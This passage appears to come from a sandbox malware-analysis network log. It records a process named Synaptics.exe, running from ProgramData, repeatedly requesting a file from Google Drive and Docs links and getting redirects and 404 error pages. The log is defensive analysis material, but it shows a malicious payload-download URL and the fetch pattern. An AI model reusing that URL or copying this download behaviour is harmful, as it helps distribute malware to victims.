Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49774	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:37 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:37 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:37 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YyhgTbgpiq2CIkzilKwBBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNv5Cj8xs7h8pShTuta87LVwUQg85tx0S2RQqUtVm_h7MKggoT3MqnL8J04HTck-xa8NQs Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:37 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:37 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 49 6e 4a 51 50 5a 45 71 53 6a 45 72 66 36 66 63 74 6e 4b 30 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="_InJQPZEqSjErf6fctnK0Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:37 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49775	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:38 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49779	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9nQg_TvnYGPd81Kk4qhpcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49780	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-0kuf7vPC9wiBmBzmpZRS0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49784	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:40 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:40 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:40 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-VTsEbac-T3sV1YRDzZ7sBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNK6XBE2yCxr81djGDFZFZrlqRc8oZ3fV85ZDXkmHkSX5jSbUJcEgF6y0DIUxKd-RGwQfY Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:40 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:40 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 58 75 65 69 50 62 6f 69 53 69 73 5f 62 65 5a 41 57 78 55 71 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="3XueiPboiSis_beZAWxUqw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:40 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49785	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:40 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:40 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:40 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Rnc_DhPk9MoWtQDLRZRLcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOaAXPild0yYM9xMQqkF1xvj4xW-IfishjPaMSUtpJjxR4Dcepcc-gUtRZU9PQKBpcLghQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:40 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:40 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 6d 52 72 64 6e 55 5f 36 75 6b 5f 33 50 57 75 70 36 39 64 76 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="zmRrdnU_6uk_3PWup69dvQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:40 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49782	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uHVEOwkmqFbKhx2_FEN5Ew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49783	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:40 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=K7m8tHZDnGq90iUqI5rxOUdUR3R_f_5jU1Zo5TdCu1uY1zr7Yxh7MNjc33tcVZldkKVBHtqy8WCJLZlBfsFY-okGRfCO08RjxLphxxUAK7uFpPpkJ8v8GPRTGO9uC1ZBqG2YsfkMzxwfXEDn2AuwXZYCeg3VOIvIJewm0IN5Lzg
2024-08-22 11:10:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-vMEQ-mLIF6vDYajnqERudg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49789	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:41 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jMkBHNPt9j26XDWikmT9sw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49790	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:41 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:41 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:41 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-b63SwiniAadn9cQrpQY1ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nMMRQi4C3B16d1zZaQ9lEfIQJaT3I8dQ8KzcgxKkcbls2TBkD_q2MsE9Lys7oKR2cf3zovk1ZmN6g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
